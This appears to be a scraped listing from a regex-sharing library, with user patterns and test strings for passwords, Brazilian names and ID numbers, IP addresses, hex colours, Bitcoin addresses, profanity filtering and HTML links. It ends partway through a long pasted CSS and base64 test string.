Whether you're using Azure CLI or, more specifically, Azure SDK to create a Virtual Machine, you may want to validate the given credentials before sending a request to create the VM. Otherwise, it could cost to send a full request with invalid data. To do so, you can use this RegEx to validate your password before trying to create the VM. **This regex matches only when all the following are true:** password must contain 1 number (0-9) password must contain 1 uppercase letters password must contain 1 lowercase letters password must contain 1 non-alpha numeric number password is 12-123 characters with no space Refer to [this link](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/faq#what-are-the-password-requirements-when-creating-a-vm) to check the official documentation. Ricardo S M Serradas [Twitter](http://twitter.com/ricardoserradas) [Medium](https://aka.ms/rmserradas)
^(?=.*\d)(?=.*[A-Z])(?=.*[a-z])(?=.*[^\w\d\s:])([^\s]){12,123}$
^@},hJu>[4Bo7TGX _}24I:9t58Tu?m@e |YlzEc|1 #m_4xF%t"Bu5jeb$ 12345678aA ^@},^@},^@}, 12345678aA@ 12345678 aA@ 12345678aA@ AbCdEfGhIi abcdefgh123 ABCDEFGH1234
Azure Virtual Machine password validation
2019-02-22T18:26:41.000Z
(?:[^\n]+)?(?:\b(?:(?!\bCPF\b))(?:(?!\bCNPJ\b))(?:(?!\bCNH\b))(?:(?!\bRG\b))(?:[A-Z\u00C0-\u00DC][A-zÀ-ÿ']+\s(?:(?:(?:[A-zÀ-ÿ']{1,3}\s)?(?:(?:(?!\bCPF\b))(?:(?!\bCNPJ\b))(?:(?!\bCNH\b))(?:(?!\bRG\b))[A-ZÀ-Ÿ][A-zÀ-ÿ']*\s?))+))\b(?:(?:[^\.](?:.+?\. ))|(?:[^\.](?:.+?\.))))
Everlado Augusto de CNPJ. João da Rosa Macedo comprou uma bike super moderna. Pedro Albuquerquer de Oliveira está comendo uma fruta com RG 12354. Jorge Diorno alugou um apartamento em berlin. João de Oliveira Martins do Campo de Souza Braga. Alberto de Roma teste. Juliana Emanuela da Luz Souza portadora do CPF 008.543.213-30, recebe um salário de 1500,30 reais. Atualmente mora na Avenida dos logradouros 467 número 14, São Leopoldo e, por 40 horas é empregada na empresa Cristal Serrano com o CNPJ 13.123.321/4133-44. De acordo com o seu cadastro, possui o seguinte telefone de contato +55 (54) 99166-6508. Conforme vem a solicitar a Receita Federal é indicado que por meio deste documento disposto para o contribuinte de RG 183654527, uma multa no valor de 54 dólares seja cobrada por não possuir a CNH de número 10234556378 e carteira de trabalho 123 45678 91 0 validadas de acordo com a lei atribuída na tribuna com o endereço Avenida Júlio de Castilhos número 45000. Conforme sentenciado pelo juiz Carlos Romano de Freitas Pereira da Silva. As informações do indivíduo estão dispostas no email [email protected]. Para fazer acesso ao email é necessário configurar o computador com que fique com o IPV4 utilizado seja 112.128.52.10 e o IPV6 deve ser 2001:ca8:0:1fe1::200. Para acessar a conta é necessário que o contribuinte utilize o número disposto na carteira de trabalho sendo esta 123.45678.91-0 e o número do passaporte sendo este CS123456. É importante que o usuário comprove os dados utilizando o número do título de eleitor 1234 5678 9101. O valor final que deverá ser pago deve corresponder a um valor simbólico de 7.891,12 brl. É Importante destacar a necessidade de mostrar o RG 123456789 e a CNH 12345678910.
Name (line) - still not working
2021-03-02T22:10:54.000Z
[\.\d]+x[\.\d]+mm
Fuse - 1.25A 250V 5x20mm, Glass, Time Delay, 5/pk Fuse - 1A 250V 5x20mm, Glass, Time Delay, 5/pk Fuse - 20A 250V 5x20mm, Glass, Time Delay, 5/pk MDA Style Fuse - 3/4A 250V 5x20mm, Glass, Time Delay, 5/pk MDA Style Fuse - 340mA 250V 5x20mm, Glass, Time Delay, 5/pk MDA Style Fuse - 0.44A 1000V Fast Acting Cartridge, 10.31x38.1mm, 1/pk Fuse - 0.44A 1000V Fast Acting Cartridge, 10x38.1mm, 1/pk Fuse - 3A 250VAC Glass Time Delay, 4.5x14.5mm, Wire Leads, 5/pk SCR - 4A 400V T0126
Find Diameter out of a fuse description
2019-02-15T07:56:31.000Z
[a-zA-Z0-9]{5}\-[a-zA-Z0-9]{5}\-[a-zA-Z0-9]{5}-[a-zA-Z0-9]{5}\-[a-zA-Z0-9]{5}
Windows 10 activation key
2018-12-05T12:50:45.000Z
^(#(?:[A-z0-9]{3}){1,2})$
WHITE: #FFFFFF BLACK: #000000 NOT THIS: #12#111 Short hand grey: #ccc Invalid: #efef
Hex colours
2021-02-17T16:16:06.000Z
Transform a date string like: Mon Nov 10 1957 12:34:56 UTC +08:00 into: 11/10/195 12:34:56
^[\w,]{3,4} (?: (?<jan>Jan )| (?<feb>Feb )| (?<mar>Mar )|(?<apr>Apr )|(?<may>May ) |(?<jun>Jun ) |(?<jul>Jul ) |(?<aug>Aug ) |(?<sep>Sep ) |(?<oct>Oct ) |(?<nov>Nov ) |(?<dec>Dec ))(?<day>\d+) (?<year>\d+) (?<time>\d{1,2}:\d\d:\d\d).*
Mon, Apr 02 2023 12:34:56 UTC +08:00 Mon May 22 2023 12:34:56 UTC +08:00 Tue
Transform a date string into a timestamp
2023-04-08T14:45:15.000Z
^(?:(?:https?:\/\/)?(?:www\.)?youtu\.?be(?:\.com)?\/)(?:watch\?v=|v\/)?([a-zA-Z0-9_\-]*)
https://www.youtube.com/watch?v=Gge6Hg2-RVM
Youtube Updated 2018
2018-05-08T23:54:29.000Z
Matches IP Addresses with minimum false positives
(((1[0-9]{2})|(2[0-5]{2})|[0-9]{1,2})\.){3}(((1[0-9]{2})|(2[0-5]{2})|[0-9]{1,2}))
0.0.0.0 255.255.255.255 256.129.23.5
IP Addresses
2015-07-16T16:42:42.000Z
^ # start-of-string (?=.*[0-9]) # a digit must occur at least once (?=.*[a-z]) # a lower case letter must occur at least once (?=.*[A-Z]) # an upper case letter must occur at least once (?=.*[@#$%^&+=]) # a special character must occur at least once (?=\S+$) # no whitespace allowed in the entire string .{8,} # anything, at least eight places though $ # end-of-string
^(?=.*[0-9])(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%^&+=])(?=\S+$).{8,}$
Password Complexity Requirement RegEx
2015-10-06T04:43:13.000Z
Having a couple of groups of IPs for which you can establish some kind of pattern
(\b10\.5\.(29|31|32)\.15\b|\b10\.0\.100\.75\b)
10.5.31.15 45.36.87.12 10.0.100.75 192.168.1.168 10.5.4.15 10.5.32.15 10.10.25.36 10.0.100.56 10.5.29.15
Find specific IPs and IP Patterns
2016-04-14T19:40:44.000Z
find and replace bad and p0rn indonesian words
[^0-9a-z]?(bikini|b[i|e]rah[i|e]|b[o|u]g[i|e]l|[men|di]?cabul[i]?|cialis|[dic|menc|menyu]?umbu[i]?|dildo|[ng]?ent[o|i]t|ereksi|eroti[k|c]|gay|jemb[u|e]t|judi|[c|k]ondom|kontol|kunam|lesb[o|ian]|libido|lucah|memek|[dip|pem]?erkosa|miras|penis|pepek|porno|puting|rog[o|e]l|seks|se[k|n]sual|sex]|telanjang|telugu|tetek|titit|toge[l]?|tocil|vagina|viagra|orgasm[e]?|kemaluan|k[e]?lamin|[ngen|jan]cuk)[^0-9a-z]
persaingan dua pembalap mercedes kembali terjadi pada balapan gp formula 1 monaco. nico rosberg akhirnya sukses memutus rangkaian kemenangan rekan satu timnya, lewis hamilton yang finis di posisi kedua pada balapan yang digelar seksual seks sensual
indonesian p0rn word filter
2014-06-06T05:55:12.000Z
Medicare ID Number (HICN) RegEx Pattern
^\d{3}-?\d{2}-?\d{4}-?[a-zA-Z]
555-52-2343-A
Medicare Number (HICN)
2016-09-11T06:33:26.000Z
var pattern='/^[0-9][0-9]{0,6}$/'; /* int match 9 digit */ /********************************************** * * ^ starting point * 1st [0-9] number should be start between 0 to 9 * 2nd [0-9] number should be end between 0 to 9 * 3nd {0-6} number length should be exact 6 digit * $ its show the end of string or data * ************************************************/
^[0-9][0-9]{0,6}$
01566
regex int
2014-07-16T12:37:52.000Z
Validates a common format for OAuth scopes.
^(?P<verb>([a-z]+([\-|\.][a-z]+)?)):(?P<entity>([a-z]+([\-|\.][a-z]+)?))$
Valid OAuth scope
2019-11-06T16:40:40.000Z
\s[13][a-km-zA-HJ-NP-Z1-9]{25,34}\s
B​​​​​​​​​​​​​​​​​​​​​​​​T​​​​​​​​​​​​​​​​​​​​​​​​C​​​​​​​​​​​​​​​​​​​​​​​​ addr​​​​​​​​​​​​​​​​​​​​​​​​ess to​​​​​​​​​​​​​​​​​​​​​​​​ s​​​​​​​​​​​​​​​​​​​​​​​​end to​​​​​​​​​​​​​​​​​​​​​​​​: 181q2Mb7EzHJr2bF1RdsWpDJn8THyPfNAX [cas​​​​​​​​​​​​​​​​​​​​​​​​e-s​​​​​​​​​​​​​​​​​​​​​​​​ensi​​​​​​​​​​​​​​​​​​​​​​​​ti​​​​​​​​​​​​​​​​​​​​​​​​v​​​​​​​​​​​​​​​​​​​​​​​​e copy a​​​​​​​​​​​​​​​​​​​​​​​​nd pa​​​​​​​​​​​​​​​​​​​​​​​​st​​​​​​​​​​​​​​​​​​​​​​​​e it]
Bitcoin Address
2019-01-16T14:42:31.000Z
<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~абвгдеёжзийклмнопрстуфхцчшщъыьэюяАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ !"#$%&\'()*+,-./0123456789:;
\w
<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~абвгдеёжзийклмнопрстуфхцчшщъыьэюяАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ !"#$%&\'()*+,-./0123456789:;
/w
2022-10-06T20:00:53.000Z
(?:\?|\&)(?<key>[\w-]+)(?:\=?|)(?<value>[\w.]+)?
.css?v=1.0&active&media=screen&font-weight=normal
url GET parameters
2014-09-16T12:07:41.000Z
You can use this pattern to mask your raw credit card's number, like this one: 1111222233334444 => 1111-2222-3333-4444
(\d{4})(?=\d)
1111222233334444
Credit Card Mask
2020-07-26T10:53:28.000Z
lastname[-][a-z0-9\-\_\(\)]+\.erp
lastname-PLanmw(1-5).erp
MATLAB filename with brackets
2016-03-22T09:10:17.000Z
([tk]) . b
? ' a l t . b aU m u . z ' i: k . b r a n . C @ r ' Y k . b @ . ts y: . k l I C
carryover_assimilation_plosives
2020-07-31T14:44:11.000Z
.*\s+([A-Z]{2}|[A-Z][0-9]|[0-9][A-Z])\s*([0-9]{1,4})(.*)\s+([0-9]{1,2}\s*[^0-9\s]{3,9}),\s+([0-2]?[0-9]h[0-5][0-9]).*\s+([0-2]?[0-9]h[0-5][0-9])
-- Voo Produto De Para Partida Chegada Cabine Bagagem Permitida 1 -- TP0440 Lisboa Paris (ORY) 16 Mai, 09h55 16 Mai, 13h20 Económica (W) 1 peça(s) -- Partida de Lisboa no Terminal 1 . Chegada a Paris no Terminal W .
flytap zjebany
2017-11-21T13:54:53.000Z
(?:\"|\')(?<key>[^"]*)(?:\"|\')(?=:)(?:\:\s*)(?:\"|\')?(?<value>true|false|[0-9a-zA-Z\+\-\,\.\$]*)
[ { "_id": "56af331efbeca6240c61b2ca", "index": 120000, "guid": "bedb2018-c017-429E-b520-696ea3666692", "isActive": false, "balance": "$2,202,350", "object": { "name": "alexander", "lastname": "lang" } } ]
json key value finder
2016-02-01T11:27:12.000Z
Replaces any word breaked by a hyphen and a space with a soft-hyphen
(\S)-
dit is een auto- matische test van onge- lofelijk lange woorden. Dit mag niet hitten - Boom!
Soft hyphen regex
2015-09-28T10:24:57.000Z
Matches all from <a... to </a>
<\s*a(\s+.*?>|>).*?<\s*\/\s*a\s*>
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'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <link rel="stylesheet" type="text/css" href="./Hero - Brewmaster_files/tooltips(1).css"><style type="text/css">/*.lleo_errorSelection *::-moz-selection, .lleo_errorSelection *::selection, .lleo_errorSelection *::-webkit-selection { background-color: red !important; color: #fff !important;; }*/ #lleo_dialog, #lleo_dialog * { color: #000 !important; font: normal 13px Arial, Helvetica !important; line-height: 15px !important; margin: 0 !important; padding: 0 !important; background: none !important; border: none 0 !important; position: static !important; vertical-align: baseline !important; overflow: visible !important; width: auto !important; height: auto !important; max-width: none !important; max-height: none !important; float: none !important; visibility: visible !important; text-align: left !important; text-transform: none !important; border-collapse: separate !important; border-spacing: 2px !important; box-sizing: content-box !important; box-shadow: none !important; opacity: 1 !important; text-shadow: none !important; letter-spacing: normal !important; -webkit-filter: none !important; -moz-filter: none !important; filter: none !important; } #lleo_dialog *:before, #lleo_dialog *:after { content: ''; } #lleo_dialog iframe { height: 0 !important; width: 0 !important; } #lleo_dialog { position: absolute !important; background: #fff !important; border: solid 1px #ccc !important; padding: 7px 0 0 !important; left: -999px; top: -999px; width: 440px !important; overflow: hidden; display: block !important; z-index: 999999999 !important; box-shadow: 8px 16px 30px rgba(0, 0, 0, 0.16) !important; border-radius: 3px !important; opacity: 0 !important; -webkit-transform: translateY(15px); -moz-transform: translateY(15px); -ms-transform: translateY(15px); -o-transform: translateY(15px); transform: translateY(15px); } #lleo_dialog.lleo_show_small { width: 150px !important; } #lleo_dialog.lleo_show { opacity: 1 !important; -webkit-transform: translateY(0); -moz-transform: translateY(0); -ms-transform: translateY(0); -o-transform: translateY(0); transform: translateY(0); -webkit-transition: -webkit-transform 0.3s, opacity 0.3s !important; -moz-transition: -moz-transform 0.3s, opacity 0.3s !important; -ms-transition: -ms-transform 0.3s, opacity 0.3s !important; -o-transition: -o-transform 0.3s, opacity 0.3s !important; transition: transform 0.3s, opacity 0.3s !important; } #lleo_dialog.lleo_collapse { opacity: 0 !important; -webkit-transform: scale(0.25, 0.1) translate(-550px, 100px); -moz-transform: scale(0.25, 0.1) translate(-550px, 100px); -ms-transform: scale(0.25, 0.1) translate(-550px, 100px); -o-transform: scale(0.25, 0.1) translate(-550px, 100px); transform: scale(0.25, 0.1) translate(-550px, 100px); -webkit-transition: -webkit-transform 0.4s, opacity 0.4s !important; -moz-transition: -moz-transform 0.4s, opacity 0.4s !important; -ms-transition: -ms-transform 0.4s, opacity 0.4s !important; -o-transition: -o-transform 0.4s, opacity 0.4s !important; transition: transform 0.4s, opacity 0.4s !important; } #lleo_dialog input::-webkit-input-placeholder { color: #aaa !important; } #lleo_dialog .lleo_has_pic #lleo_word { margin-right: 80px !important; } #lleo_dialog #lleo_translationsContainer1 { position: relative !important; } #lleo_dialog #lleo_translationsContainer2 { padding: 7px 0 0 !important; vertical-align: middle !important; } #lleo_dialog #lleo_word { color: #000 !important; margin: 0 5px 2px 0 !important; /*float: left !important;*/ } #lleo_dialog .lleo_has_sound #lleo_word { margin-left: 30px !important; } #lleo_dialog #lleo_text { font-weight: bold !important; color: #d56e00 !important; text-decoration: none !important; cursor: default !important; } /* #lleo_dialog #lleo_text.lleo_known { cursor: pointer !important; text-decoration: underline !important; } */ /*#lleo_dialog #lleo_closeBtn { position: absolute !important; right: 6px !important; top: 5px !important; line-height: 1px !important; text-decoration: none !important; font-weight: bold !important; font-size: 0 !important; color: #aaa !important; display: block !important; z-index: 9999999999 !important; width: 7px !important; height: 7px !important; padding: 0 !important; margin: 0 !important; }*/ #lleo_dialog #lleo_optionsBtn { position: absolute !important; right: 3px !important; top: 5px !important; line-height: 1px !important; text-decoration: none !important; font-weight: bold !important; font-size: 13px !important; color: #aaa !important; padding: 2px !important; display: none; } #lleo_dialog.lleo_optionsShown #lleo_optionsBtn { display: block !important; } #lleo_dialog #lleo_optionsBtn img { width: 12px !important; height: 12px !important; } #lleo_dialog #lleo_sound { float: left !important; width: 16px !important; height: 16px !important; margin-left: 9px !important; margin-right: 3px !important; background: 0 0 no-repeat !important; cursor: pointer !important; display: none !important; background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAfNJREFUeNq0U01IVFEU/u57Oo5WhBRIBBptykWLYBa2soWiEKQQEbrSFsGbVRQKQc2iFqGitXqvjQxCoCJCqyI0aBUtZILaJNUuYWYWo8HovJ/707nP94bnz0rxwvfOuefd8517fi5TSuE4i50YwZ3l37ZhNlpgzFkaaM/G9sHF1YskNrT+7l4PjMOcb78t2JL71uxgB+2UlfxHTtq5N94fIOh/88kWgWfl73ZCSQkpeGg3H091JY6dI2S00qA/N3KO3dDUYhFgEmZGurG+w9FqApIHsVM7kaTF9Nhn0r8Q7hPWQgIRuNaH3AMUA4W/Lkdh04cpFS43G0TgxQTvCdMETVAk3KynIHwXZU/ge8XDt7KH9bKLjU0P2zVO5LsEpSejVRJ9UR18EtfqKegovs9R3Q6w9c/H1o4Aa2Jwm1lIvn9RJ4w9RdRRzqcYrpwycCll4Cy1lnkS3Bc6vfBg28v8aRIfI78zhB/1GygROH3jLyyzMQ0zlUZuZBSlKkeLoegGtTjYLcJ8pF+NakHOFC2J6w+f25mxSfWrWFF/ShXVPTGvtN14NNkVnxlYWJkgZEL7/vwKr55lKSVnaGYWkuYgrgG172uUv47+U7fw0EHaJXmalUQy/HqO6lBzEsVjJC4Q8kd6TETQpjuaGOvjv8b/AgwA/ij1XMx58NIAAAAASUVORK5CYII=) !important; } #lleo_dialog .lleo_has_sound #lleo_sound { display: block !important; } #lleo_dialog #lleo_soundWave { border: solid 5px #4495CC !important; border-radius: 5px !important; position: absolute !important; left: -5px !important; top: -5px !important; right: -5px !important; bottom: -5px !important; z-index: 0 !important; opacity: 0.9 !important; display: none !important; } #lleo_dialog #lleo_soundWave.lleo_beforePlaying { display: block !important; } #lleo_dialog #lleo_soundWave.lleo_playing { opacity: 0 !important; border-width: 20px !important; border-radius: 30px !important; -webkit-transform: scale(1.07,1.1) !important; -moz-transform: scale(1.07,1.1) !important; -ms-transform: scale(1.07,1.1) !important; transform: scale(1.07,1.1) !important; -webkit-transition: all 0.6s !important; -moz-transition: all 0.6s !important; -ms-transition: all 0.6s !important; transition: all 0.6s !important; } #lleo_dialog #lleo_picOuter { position: absolute !important; float: right !important; top: 4px; right: 5px; z-index: 9 !important; display: none !important; width: 100px !important; } #lleo_dialog.lleo_optionsShown #lleo_picOuter { right: 25px; } #lleo_dialog .lleo_has_pic #lleo_picOuter { display: block !important; } #lleo_dialog #lleo_picOuter:hover { width: auto !important; z-index: 11 !important; } #lleo_dialog #lleo_pic, #lleo_dialog #lleo_picBig { position: absolute !important; top: 0 !important; right: 0 !important; border: solid 2px #fff !important; -webkit-border-radius: 2px !important; -moz-border-radius: 2px !important; border-radius: 2px !important; z-index: 1 !important; } #lleo_dialog #lleo_pic { position: relative !important; border: none !important; width: 30px !important; } #lleo_dialog #lleo_picBig { box-shadow: -1px 2px 4px rgba(0,0,0,0.3); z-index: 2 !important; opacity: 0 !important; visibility: hidden !important; } #lleo_dialog #lleo_picOuter:hover #lleo_picBig { visibility: visible !important; opacity: 1 !important; -webkit-transition: opacity 0.3s !important; -webkit-transition-delay: 0.3s !important; } #lleo_dialog #lleo_transcription { margin: 0 80px 4px 31px !important; color: #aaaaaa !important; } #lleo_dialog .lleo_no_trans { color: #aaa !important; } #lleo_dialog .ll-translation-counter { float: right !important; font-size: 11px !important; color: #aaa !important; padding: 2px 2px 1px 10px !important; } #lleo_dialog .ll-translation-text { float: left !important; /*width: 80% !important;*/ } #lleo_dialog #lleo_trans a { color: #3F669F !important; text-decoration: none !important; text-overflow: ellipsis !important; padding: 1px 4px !important; overflow: hidden !important; float: left !important; width: 320px !important; } #lleo_dialog .ll-translation-item { color: #3F669F !important; border: solid 1px #fff !important; padding: 3px !important; width: 100% !important; float: left !important; -moz-border-radius: 2px !important; -webkit-border-radius: 2px !important; border-radius: 2px !important; } #lleo_dialog .ll-translation-item:hover { border: solid 1px #9FC2C9 !important; background: #EDF4F6 !important; cursor: pointer !important; } #lleo_dialog .ll-translation-item:hover .ll-translation-counter { color: #83a0a6 !important; } #lleo_dialog .ll-translation-marker { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAAECAYAAACp8Z5+AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAAWSURBVBhXY7RPm/+fAQkwIXNAbMICAJQ8AkvqWg/SAAAAAElFTkSuQmCC) !important; display: inline-block !important; width: 4px !important; height: 4px !important; margin: 7px 5px 2px 2px !important; float: left !important; } #lleo_dialog #lleo_icons { color: #aaa !important; font-size: 11px !important; background: #f8f8f8 !important; padding: 10px 10px 10px 16px !important; } #lleo_icons a { display: inline-block !important; width: 16px !important; height: 16px !important; margin: 0 10px -4px 3px !important; text-decoration: none !important; opacity: 0.5 !important; background: url(data:image/png;base64,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